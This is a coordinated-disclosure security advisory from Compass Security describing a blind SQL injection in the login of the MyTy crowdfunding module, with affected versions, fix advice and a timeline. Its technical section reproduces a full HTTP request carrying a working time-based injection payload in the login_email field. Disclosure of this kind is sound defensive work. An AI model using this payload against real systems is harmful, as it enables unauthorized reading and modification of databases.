CSNC-2017-029 MyTy Blind SQL Injection

#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:  MyTy
# Vendor:   Finlane GmbH
# CSNC ID:  CSNC-2017-029
# CVE ID:   -
# Subject:  Blind SQL injection
# Risk:     High
# Effect:   Remotely exploitable
# Author:   Nicolas Heiniger <[email protected]>
# Date:     21.11.2017
#
#############################################################

Introduction:
-------------
MyTy[1] is a software framework that includes a crowdfunding module. It can=
 be=20
installed on a customer server and used to create whitelabel websites for=20
crowdfunding platforms.

Compass Security discovered a web application security flaw in the crowdfun=
ding=20
module login process that allows an unauthenticated attacker to execute=20
arbitrary SQL query against the database. This allows to read and modify th=
e=20
whole database, within the privilege limitations of the database user execu=
ting=20
the queries.


Affected:
---------
Vulnerable:
 * MyTy 5.0.4 to 5.1.6
=20
=20
Technical Description
---------------------
During the login process, the user email and password are sent in a POST=20
request. In this request, the login_email parameter is concatenated into an=
 SQL=20
query in a way that allows for SQL injection.

This was first discovered as a time-based blind injection with the followin=
g=20
request:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
POST /tycon/modules/crowdfunding/mvc/controller/ajax/user/login/show.php?po=
pin=3D1
&type=3DsimpleLogin&activeTab=3D0 HTTP/1.1
Host: [CUT BY COMPASS]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox=
/45.0
Accept: text/html, */*; q=3D0.01
Accept-Language: en-US,en;q=3D0.5
Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8
X-Requested-With: XMLHttpRequest
Referer: [CUT BY COMPASS]
Content-Length: 154
Cookie: tyFl=3Dde_de; XSRF-TOKEN=3DoBwu%2BTWkisoYIpFEzoHDdSceUSflgjymh2uN1w=
XxZKg%3D;
 lang=3Dde; PHPSESSID=3De1e71aroeb557v412tov9fu574; tyBl=3Den_us; cfce=3D1;=
=20
 _ga=3DGA1.2.75537659.1504612703; _gid=3DGA1.2.1847726517.1504612703;=20
 cf_cookie_policy_read=3D1; _gat=3D1
CSNC-HEN: Pentest1-Blue
Connection: close

login=3D1&callback=3D&redirect=3D&fwd=3D%252Fprojekte%252Fsuchergebnisse.ht=
ml%253F
&login_type=3Dinline&popin=3D1&type=3DsimpleLogin
&login_email=3Dtest'%2b(select*from(select(sleep(20)))a)%2b'&login_password=
=3D1234
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D


Workaround / Fix:
-----------------
Install an up to date version of the MyTy software.

As a developer:
Strictly use prepared statements in order to protect the application from S=
QL=20
injection.

Optional addition:
Validate all user input and filter dangerous characters, which can cause a=
=20
change of the context and have to be filtered, cut or escaped e.g. " ' -- (=
) ;


Timeline:
---------
2017-11-21:     Coordinated public disclosure date
2017-09-06:     Release of fix in versions 5.0.12 and 5.1.7
2017-09-06:     Initial vendor response
2017-09-06:     Initial vendor notification
2017-09-06:     Discovery by Nicolas Heiniger


References:
-----------
[1] https://www.finlane.com/loesungen/whitelabel-pages/
[2] https://github.com/sqlmapproject/sqlmap